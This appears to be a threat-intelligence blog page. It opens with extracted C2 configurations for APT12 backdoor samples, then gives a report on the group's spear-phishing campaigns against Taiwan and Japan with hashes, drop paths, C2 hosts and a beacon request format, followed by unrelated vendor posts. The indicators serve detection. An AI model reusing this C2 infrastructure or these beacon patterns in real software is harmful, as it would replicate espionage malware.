hxxp://1234/config.htm

 

8826a06995249545d6ade39b0e47ff42

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

89624f1a3ed028c5880f074a8a5826be

[MServer]

182.239.48.127:443

[BServer]

184.172.139.10

[MWeb]

hxxp://182.239.48.127/swap/mg.html

[BWeb]

hxxp://182.239.48.127/swap/mg.html

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

89698fe58f47d14514f1aae8e2f92c95

[MServer]

205.209.150.2:80

[BServer]

184.172.139.9

[MWeb]

hxxp://184.172.139.10/sp/saic.htm

[BWeb]

hxxp://184.172.139.10/sp/saic.htm

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

93885b17fbadb2662e9cac565502a276

[MServer]

cdi.indiadigest.in:443

[BServer]

cdi.vmnet.info

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

[UpdateWeb]

 

94218fba95e3f03796dd005a2851b5af

[MServer]

xls.officescan.biz:443

[BServer]

xls.officescan.biz

[MWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

[BWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

 

9763c69840d34b94e46ecd98e0bfa48e

[MServer]

xls.officescan.biz:443

[BServer]

xls.officescan.biz

[MWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

[BWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

 

9e7df3d721b9bec3debfd8aa21fb0897

[MServer]

news.lovexfree.com:80

[BServer]

neo.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

b0704a540d58551f2d070515b4a7b008

[MServer]

210.211.31.246:443

[BServer]

221.130.190.27

[MWeb]

hxxp://210.211.31.246/img/so.html

[BWeb]

hxxp://221.130.190.27/img/so.gif

 

b27dd51f4b8c863603d3ac684567dbdc

[MServer]

neo.lovexfree.com:80

[BServer]

game.pmang-kr.com

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

 

b54be0d6d3aa4d8e839d9bb42870a97b

[MServer]

110.34.168.188:443

[BServer]

76.12.61.116

[MWeb]

hxxp://110.34.168.188/rr.html

[BWeb]

hxxp://76.12.61.116/rr.html

[UpdateWeb]

hxxp://192.168.0.153/logo.bmp

 

e14c1f4781be96fd5967e286c2e44272

[MServer]

oracle.windowsnine.net:1119

[BServer]

oracle.windowsnine.net

[MWeb]

hxxp://devaoffice.blogspot.kr/2009/06/mysqlblog.html

[BWeb]

hxxp://devaoffice.blogspot.jp/2009/06/mysqlblog.html

 

f22805b858ed26b9f76f8c24d0573c4b

[MServer]

ns2.windowsnine.net:443

[BServer]

ns2.windowsnine.net

[MWeb]

hxxp://lemonawar.blogspot.it/2011/06/iphone-5.html

[BWeb]

hxxp://lemonawar.blogspot.jp/2011/06/iphone-5.html

 

fd2db8463d667ec6a5e887df579a05c1

[MServer]

xls.officescan.biz:443

xls.officescan.biz

[MWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

[BWeb]

hxxp://amazonsssl.blogspot.jp/2013/10/iphone-5s-review.html

 

fdb81d9f3b34b579cf34cd65647830cd

[MServer]

kr.microisoft.net:443

[BServer]

aus.winlogon.net

[MWeb]

hxxp://1234/config.htm

[BWeb]

hxxp://1234/config.htm

Darwin’s Favorite APT Group

Introduction

The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a new campaign targeting organizations in Japan and Taiwan. APT12 is believed to be a cyber espionage group thought to have links to the Chinese People’s Liberation Army. APT12′s targets are consistent with larger People’s Republic of China (PRC) goals. Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan. Additionally, the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure, as APT12 used the same strategy after compromising the New York Times in Oct 2012. Much like Darwin’s theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission.

The new campaign marks the first APT12 activity publicly reported since Arbor Networks released their blog “Illuminating The Etumbot APT Backdoor.” FireEye refers to the Etumbot backdoor as RIPTIDE. Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor that we call HIGHTIDE. This is the second time FireEye has discovered APT12 retooling after a public disclosure. As such, FireEye believes this to be a common theme for this APT group, as APT12 will continue to evolve in an effort to avoid detection and continue its cyber operations.

FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT. Both backdoors were dropped from malicious documents built utilizing the “Tran Duy Linh” exploit kit, which exploited CVE-2012-0158. These documents were also emailed to organizations in Japan and Taiwan. While APT12 has previously used THREEBYTE, it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE. Similarly, WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified. However, the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12.

Background

From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication.

riptide-wireshark

Figure 1: RIPTIDE HTTP GET Request Example

In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth. The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014.

Following the release of the article, FireEye observed a distinct change in RIPTIDE’s protocols and strings. We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors. The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules. FireEye dubbed this new malware family HIGHTIDE.

HIGHTIDE Malware Family

On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account.


riptide-spear

Figure 2:  APT12 Spearphishing Email

The exploit document dropped the HIGHTIDE backdoor with the following properties:

MD5 6e59861931fa2796ee107dc27bfdd480
Size 75264 bytes
Complie Time 2014-08-23 08:22:49
Import Hash ead55ef2b18a80c00786c25211981570

The HIGHTIDE backdoor connected directly to 141.108.2.157. If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items:

  • User Agent
  • Format and structure of the HTTP Uniform Resource Identifier (URI)

riptide2-wireshark

Figure 3: HIGHTIDE GET Request Example

Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method.

MD5 File Name Exploit
73f493f6a2b0da23a79b50765c164e88 議程最新修正及注意事項.doc CVE-2012-0158
f6fafb7c30b1114befc93f39d0698560 0824.1.doc CVE-2012-0158
eaa6e03d9dae356481215e3a9d2914dc 簡易名冊0全國各警察機關主官至分局長.doc CVE-2012-0158
06da4eb2ab6412c0dc7f295920eb61c4 附檔.doc CVE-2012-0158
53baedf3765e27fb465057c48387c9b6 103年第3屆通訊錄.doc CVE-2012-0158
00a95fb30be2d6271c491545f6c6a707 2014 09 17 Welcome Reception for Bob and Jason_invitation.doc CVE-2012-0158
4ab6bf7e6796bb930be2dd0141128d06 產諮會_Y103(2)委員會_從東協新興國家崛起(0825).doc CVE-2012-0158

Figure 4: Identified exploit documents for HIGHTIDE 

When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system.

RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the User-Agent within the GET requests, and the format of the URI. The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\ folder. All but one sample that we identified were written to this folder as word.exe. The one outlier was written as winword.exe.

Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government organizations between August 22 and 28.

THREEBYTE Malware Family

On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com to a technology company located in Taiwan. This spear phish contained a malicious Word document that exploited CVE-2012-0158. The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11.

Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. This backdoor had the following properties:

MD5 16e627dbe730488b1c3d448bfc9096e2
Size 75776 bytes
Complie Time 2014-08-25 01:22:20
Import Hash dcfaa2650d29ec1bd88e262d11d3236f

This backdoor sent the following callback traffic to video[.]csmcpr[.]com:

threebyte-wireshark

Figure 5:  THREEBYTE GET Request Beacon

The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12:

  • The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors.
  • Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan.
  • Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe.
  • APT12 has previously used the THREEBYTE backdoor.

WATERSPOUT Malware Family

On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan. Attached to this email was another malicious document that was designed to exploit CVE-2012-0158. This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe. The backdoor had the following properties:

MD5 f9cfda6062a8ac9e332186a7ec0e706a
Size 49152 bytes
Complie Time 2014-08-25 02:10:11
Import Hash 864cd776c24a3c653fd89899ca32fe0b

The backdoor connects to a command and control server at icc[.]ignorelist[.]com.

Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server.

GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: <C2 Location>
Cache-Control: no-cache

Figure 6: Sample GET request for WATERSPOUT backdoor

Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:

  • Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158.
    • The same “Tran Duy Linh” Microsoft Word Exploit Kit was used in delivery of this backdoor.
  • Similar Targets were observed where the threat actors utilized this backdoor.
    • Japanese Tech Company
    • Taiwanese Government Organizations
    • Organizations in the Asia-Pacific Region that are of Interest to China
  • The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors:
    • C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\word.exe
    • C:\DOCUMENTS and SETTINGS\{user}\LOCAL SETTINGS\Temp\winword.exe
  • WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor.

Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE campaign attributed to APT12.

Conclusion
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset. These development efforts may have resulted in the emergence of the WATERSPOUT backdoor.
12-timeline

Figure 7: Compile dates for all three malware families 

APT12’s adaptations to public disclosures lead FireEye to make several conclusions about this threat group:

  • APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed.
  • APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures (TTPs).
  • Public disclosures may result in an immediate change in APT12’s tools. These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented (e.g., WATERSPOUT).

Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels. Similarly, the public disclosure of APT12’s intrusion at the New York Times also led to only a brief pause in the threat group’s activity and immediate changes in TTPs. The pause and retooling by APT12 was covered in the Mandiant 2014 M-Trends report. Currently, APT12 continues to target organizations and conduct cyber operations using its new tools. Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company. We expect that APT12 will continue their trend and evolve and change its tactics to stay ahead of network defenders.

Note: IOCs for this campaign can be found here.

Security Perspective

Filter by Category:


Apple Pay: A Security Analysis

 Has Apple taken a bite out of hackers’ arsenals? The company is betting on it. Its recent announcement about a new secure payment option has the retail and tech worlds buzzing. If Apple can implement its near-field communication (NFC) payment system correctly, it can absolutely increase security, guarding against the disastrous types of credit breaches that have dominated headlines. Being able to rely on NFC for securely making mobile payments could be a game changer in the current environment of data breaches. But that’s not the only possible outcome. As NFC payments become more popular, it may force new innovation and inspire more creative techniques for credit card payments. Apple is at least the third major player to enter into the NFC payment market, and it now seems increasingly likely that the demise of the antiquated magnetic strip credit card is underway– which also, ultimately, means more a challenge for hackers.

History Lessons

 NFC has been around in the mobile payment arena for a while. In September 2011, Google entered into the market with its product Google Wallet. However, its rollout to Android phones and adoption was stifled by the cell phone carriers, resulting in only a small number of phones that could use Google Wallet. The issue stemmed from the fact that the Android phones used something referred to as a Secure Element (SE), which is where the NFC payment system stored the financial data in protected memory.  Due to the use of the SE, wireless carriers requested that the Google Wallet application be blocked. This appeared to be a thinly veiled attempt to give the carriers time to develop their own payment system. In late 2010, Verizon, T-Mobile and AT&T created a joint venture called ISIS Wallet, designed to also do NFC payment systems (the platform has recently rebranded under the name Softcard). However, their rollout was slower than Google’s, only offering a pilot rollout by mid-2012. While this activity between Google, the carriers, and ISIS continued, Apple chose to initially move towards iBeacon. iBeacon is a first step towards proximity-based transmitters based on Bluetooth 4.0, and was believed to be Apple’s initial offering in the wireless point of sale offering. However, the technology never caught on as a payment platform. Both Apple’s and Google’s initial offerings met resistance, though both companies remained undaunted and worked to improve their respective platforms. Google’s engineers have worked around the SE issue by using Host-Based Card Emulation available in Android 4.4. Apple moved off of the iBeacon and moved towards NFC based payments, now called Apple Pay.

How Does Apple Pay Try to Stay Secure?

Technology-wise, the back-end architecture is ready to support this change. Over the past few years, several businesses, including McDonalds, have upgraded their electronic Point of Sale (POS) systems to allow faster payments through touch-less NFC readers. The Apple Pay process works like this: after you launch the payment application on your phone you will tap it on the credit card terminal to make an NFC connection. The device securely connects to the payment system and selects a credit card already stored in the phone. The actual credit card number is not stored in the phone, rather it is stored as a Device Account Number. During the transaction, that number is combined with a secure transaction code, and must be authorized via the fingerprint scanner on the iPhone 6. (On the iPhone 5, a PIN is used for approval.) The SE chip validates the transaction, relaying your authorization to the NFC modem. The transaction information goes to the merchant, who sends it to the acquiring bank, who vouches the information on behalf of the merchant.  That information is then sent from the acquiring bank to the payment processing network.  The payment processor (Visa, MasterCard, etc.) then has means to determine the account information, the credit card being used, and ensure that the transaction security code is valid.  Because the payment processor is accessing the device data, Apple has no record of what credit cards are being used, or how.

Credit Cards are a Target

As the media has covered in depth, hackers have placed a bulls-eye on American retailers. There’s a good reason for that: that’s where the credit cards are. At the end of 2013, there were 1.2 billion debit, credit, and pre-paid cards circulating in America – more than any other region. Other developed countries have migrated to chip-and-PIN technology, whereas the United States relies nearly exclusively on magnetic strip cards, which is much more valuable for hackers because of their ease of use by criminals. Hackers cost global payment-card losses of $11.3 billion in 2012 (including retailers and card issuers), and the U.S. accounted for 47% of that.

Credit Cards - US

So How Secure is Apple Pay?

By nature, NFC payments should be more secure. Unlike a traditional credit card, a new string of numbers is created for each purchase, in lieu of transmitting the user’s card information. This security element makes it extremely difficult for hackers to use a stolen number for any other purposes. In a traditional model, the merchant must accept the credit card information, even if it is encrypted. In doing so, the merchant must accept the liability of holding and processing the credit card number. However, NFC payments make skimming credit card data more difficult using current hacker techniques. Because a card is not swiped during the transaction, there is no way to introduce a skimmer to capture the magnetic credit card data. Additionally, this would also mitigate the threats from memory scraping malware such as BlackPOS or Dexter. It may be possible at some point in the future that a small antennae placed hear the NFC reader might be able to capture the communication between the NFC reader and the device. However, because the hacker would only capture the Device Account Number combined with the transaction code, it is highly unlikely that an eavesdropped communication could be reused malicious purposes. The process should deter hackers looking for credit card data from merchants who only use NFC-based payments because they will only handle the Device Account Number and the secure transaction information – not the credit card number. Even if threat actors are able to access the retailer’s network, the one-time-use-only nature of the information makes it essentially useless for their purposes. And at this point, it is unclear if a retailer will even store such information at all. Of course, we can possibly expect an adoption time where they will use NFC-based payments as well as the traditional magnetic-based credit card data.

What About the Future?  

Moving forward, mobile payment security will rely on three components: user authentication, validation of mobile applications, and third-party payment processers. First is authentication. Apply Pay uses biometrics for authentication. However, this is still an emerging technology as demonstrated when the iPhone 5S Touch ID could be bypassed just two days after launch. While convergence is the key value, it also proves to be one of the key risks that comes with these new forms of finance. While we look at the individual components and the vulnerabilities and risks they bring, we must also look at the process as a whole. Second, we must consider third-party apps and malware that may negatively impact Apple Pay. While Apple may not be opening Apple Pay up to third parties, we have previously observed malware in nearly every mobile environment. In this case, the credit card number may be vulnerable when being entered into the mobile device. The credit card information is entered into the Passbook by taking a picture of the credit card, or by manually typing it in. This is the time the data is most vulnerable, as malware may attempt to capture the image used, or capture the credit card information that has been manually entered. Finally, there are the payment infrastructure services, which typically have strong security considering the volumes of money processed through them. As POS systems move towards NFC payments, there will be fewer magnetic-based card credentials available on merchant networks. It is likely that hackers will not give up their craft, but rather redirect their efforts toward the next weakest link in the chain.

Final Thoughts  

Consumer fraud is a massive market. We must expect those who participate in online consumer fraud to look to this new technology space to maintain their crime revenue streams. Add the popularity of shopping and banking on smart devices, and you clearly see a convergence point for future criminal focus, whether recreating traditional fraud in an evolving environment or identifying new vulnerabilities and opportunities. At the moment, though, it appears Apple Pay and other NFC mobile payment systems in general offers enhanced security against traditional retail credit card breaches. As mobile payments continue to provide convenience and speed, the credit card as we know it will most likely evolve while we as consumers will increasingly rely on virtual wallets, payments, and accounts. As this shift in behavior occurs, we expect criminals to move with the trends and to continue to innovate or be shut out of the market.

Security Done the Right Way: Adaptive Defense

Over the past two decades, we have had the privilege of responding to hundreds of computer security breaches. We have spent over a million hours on the front lines combatting the most advanced computer intruders, assisting organizations in responding to the attacks.

These experiences have provided us the opportunity to become intimate with the challenges organizations face when confronting cybersecurity threats. They also provided the best vantage point for us to observe the current state of the threats attacking organizations.

Our most telling conclusion is that today’s cyber attacks circumvent even the most secure organizations. These highly security-conscious organizations implement programs with numerous products, plenty of personnel, and thorough policies that address known weaknesses. Yet, they still tend to suffer security incidents as frequently as organizations whose security programs are not as robust.

Why is this the case? Simply put: attackers have been adapting to enterprise defenses and exploiting weaknesses we’ve never heard of far faster than we can adapt or react to their activities … until now.

There is no such thing as perfect security – but we can take tremendous strides to advance the speed and effectiveness of our security programs. The most effective security programs will incorporate strategies to reduce their target surface and shorten the “alert to fix” cycle to diminish the impact of any security breaches that do occur. Effective, security conscious organizations will implement:

  1. Strong preventive measures to minimize your attack surface area.
  2. Advanced detection capabilities (signature-less detection, real-time detection).
  3. Network, endpoint, and event visibility.
  4. The threat intelligence required to leverage the visibility.
  5. A fluid process to adapt to emerging threats.

As attacks change, defensive measures must evolve. We have learned the next-generation security architecture needs to be adaptive, nimble and have real long-term relevance. And we need to approach this with state-of-the-art products, highly skilled security experts and real-time threat intelligence.

We call this Adaptive Defense.

FireEye Adaptive Defense fully embraces the combination of FireEye and Mandiant, two companies that approached security from both sides of the security spectrum—detect and respond, respectively. By focusing on detection, FireEye created real-time, signature-less based methods to have situational awareness when attacks occur. By focusing on response, Mandiant developed the capability to rapidly and effectively contain these threats. Together, both organizations combine years of rigor and discipline obtaining the threat intelligence required to detect and respond to incidents.

These areas of focus represent the totality of the security problem the world faces today. We need to be able to prevent and detect the attacks we understand well enough to counter with technology. We need to analyze the environment to address the attacks that penetrate an organization’s perimeter and bypass preventive measures. And then ultimately, when we understand an attack well enough, contain it to get back to normal business operations. To succeed in today’s cyber-threat environment this cycle must shrink – from alert to fix in months, to alert to fix in minutes – in order to eliminate the consequences of a security breach.

That’s the compelling need FireEye Adaptive Defense addresses with today’s announcements. To learn more about what makes Adaptive Defense work, visit FireEye Threat Intelligence and FireEye as a Service.

DecryptCryptoLocker – A Success Story

About a month ago FireEye, in partnership with Fox-IT, released a free service to provide relief to CryptoLocker victims around the world. As early as September 2013, CryptoLocker started haunting computers of innocent computer users worldwide. The victims’ only mistake was innocuously clicking on a link in their email or browsing the Internet. The ransomware spread fast in UK, followed by the US, and then permeated the rest of the world.

A recent takedown named Operation Tovar helped bring down command and control infrastructure used by criminals to spread GameOver Zeus and its payload, cryptolocker. But taking down their servers was not enough. Thousands of victims were still left with infected systems and all their data held hostage. Even some of their backups and network shares were rendered useless. Some victims re-infected themselves, hoping to pay reduced amounts of ransom.

When the criminals accidentally gave us the keys, we realized this was an unprecedented opportunity to help give those victims with another chance to reclaim their digital property.

Since the introduction of this relief program, we have seen close to three thousand successful recoveries of ransomed data. Geographic distribution of the victims who used the service suggests most of them were within United States followed by United Kingdom, Canada, and Australia. The majority of these victims were using Windows operating systems with Chrome as their browser.

crypt01

We received great responses from everyone ranging from CTOs, IT Directors, to home users. One office manager who was going to spend all weekend preparing for a Monday morning audit responded with:

crypt02

A Support Manager from an IT service provider said:

“This is amazing. We had a client that got hit with this and ‘lost’ 17 years worth of data. I opted to keep the files and told them if there was ever a way to fix this, we’d have the data. I honestly never expected to recover the data.”

Cryptolocker’s multi-million monetary gains brought back a renewed interest in ransomware and it was followed by a plethora of imitators that started spreading and selling on black market. Decryptcryptolocker has helped in bringing back immeasurable amount of lost data back to people and hopefully enhanced user education.

Apple OS X: Security Through Obscurity is becoming an Absurdity

Today’s blog on a new Mac malware is a reminder that attackers go where the money is. Apple usage within the enterprise is growing rapidly, with 52 percent of newly issued computers being Macs according to Forrester. Forrester also highlights that executives and manager level employees often the prime targets of advanced attackers ­ represent 41 percent of enterprise Apple users.   And with more of the enterprise brain trust using the Mac platform, VIPs are a logical and rich target.  And now we see attackers simply porting Windows malware for Mac. The moral for security teams?  Today’s blog disproves the “security through obscurity” moniker traditionally associated with using Macs to stay safe. Security teams:  gear up now.

How do you do that?  Well, for starters, it is important to remember several fundamental security operations and incident response best practices that can help combat this and other threats:

  • Develop, continually improve, and follow a formal incident response process
  • Perform gap analysis to determine where “blind spots” in visibility may exist
  • Ensure proper network instrumentation to address any lack of network visibility
  • Ensure proper endpoint instrumentation across all operating system platforms
  • Leverage a rigorous content development process to create high fidelity alerting that produces a unified work queue with a high signal-to-noise ratio (ratio of true positives to false positives)
  • Practice Continuous Security Monitoring (CSM) to rapidly detect and respond to any potential breaches or intrusions
  • Strive for smooth operations to include ensuring that staff are adequately trained and equipped
  • Incorporate actionable intelligence
  • Participate actively in both formal and informal information sharing forums

There is no one silver bullet that will immediately quash all the risk presented by APT actors and other threats. Rather, as security leaders, we need to ensure that we put the people, process, and technology in place to properly manage the risk our organizations face on a daily basis. A formal, rigorous security operations and incident response program is a key component of this endeavor.

Why Bringing Your Network Security “Inline” Lines Up With Your Goals

An attacker can compromise a network and successfully exfiltrate data in less time than you might think.

The 2011 security breach of EMC’s RSA Security Division showed us that it only takes a few days, if not minutes, for cyber criminals to compromise a well-protected corporate network and launch an attack that would eventually cost at least $66M to remedy. Today’s cyber attacks are fast and hard hitting, sometimes happening so swiftly that qualified security personnel can’t triage the breach before it causes serious damage. In fact, as identified in our 2014 MTrends report, it takes organizations on average 229 days to detect a breach – and that detection is primarily done by third-parties!

Organizations can best protect themselves by leveraging real-time technology that can stop attackers in their tracks before they penetrate their targeted networks.

Getting In Line

Inline security solutions effectively defend against today’s fast-paced, evasive attacks on company networks. In the past, security professionals have weighed the risks of compromise from delayed detection and technology gaps versus the risks of potential traffic bottlenecks that were perceived with inline solutions.

Customers typically voice two issues with deploying inline technology, and they both stem from the concern that business needs to continue securely and uninterrupted.

The first of these issues is making sure the network remains functional and accessible, even if devices fail. Customers can’t afford a point of failure on a mission-critical network. But appropriate network design, internal or external fail-open kits, and associated software features significantly lessen the potential for network failure with inline solutions.

False positives have been another concern. Customers worry that filtering tools used to secure the network will cause significant extraneous noise, which potentially could keep them from detecting a true alert.

Most security administrators further fine-tune the signatures before deploying these products inline to adapt them to their environments. While this ensures that the security solutions do not impede business traffic (and this should be the first goal of any organization – run the business!), it lessens the impact of true, inline security.

Today’s evolving threat landscape of sophisticated, targeted attacks has emphasized a critical need for a scalable, secure solution to prevent the staggering outcomes of a successful breach.

The right type of solution balances the blocking power of true inline security with near-zero false positives. The FireEye Multi-Vector Virtual Execution (MVX) engine was designed to do just that. The FireEye MVX was the first technology to provide true multi-flow, multi-vector correlation of today’s advanced cyber threats. It does this by leveraging a virtual execution engine that mimics the end-user behavior to identify true threats and limit false alerts. The MVX is so accurate that across the FireEye customer base, a typical FireEye appliance gives customers 10 alerts/day instead of the hundreds or even thousands of alerts from other vendors that are made up almost entirely of false positives. With this accuracy, the time to investigate alerts and the associated costs are greatly reduced.

FireEye’s inline technology quickly has earned its customers’ trust. In May 2010, fewer than 15% of FireEye customers were using inline deployment mode. Since then, FireEye’s technology has proven itself as a trusted protection partner against advanced threats. As a result, nearly 50% of customers were inline deployment by the end of 2013, as seen in Figure 1.

inline1

Figure 1: The Percentage of FireEye Customers who Deploy FireEye Products Inline

This trend confirms what we’ve been hearing anecdotally from customers, and the numbers speak for themselves. Customers are confident about FireEye products’ ability to detect advanced attacks in real time with near-zero false positives. More and more of them are choosing to move beyond a detection-only solution to protecting against today’s advanced cyber attacks. Today, these customers are active proponents of inline FireEye deployments, not just as a must in their security framework, but also as a no-brainer in ensuring true, scalable inline security.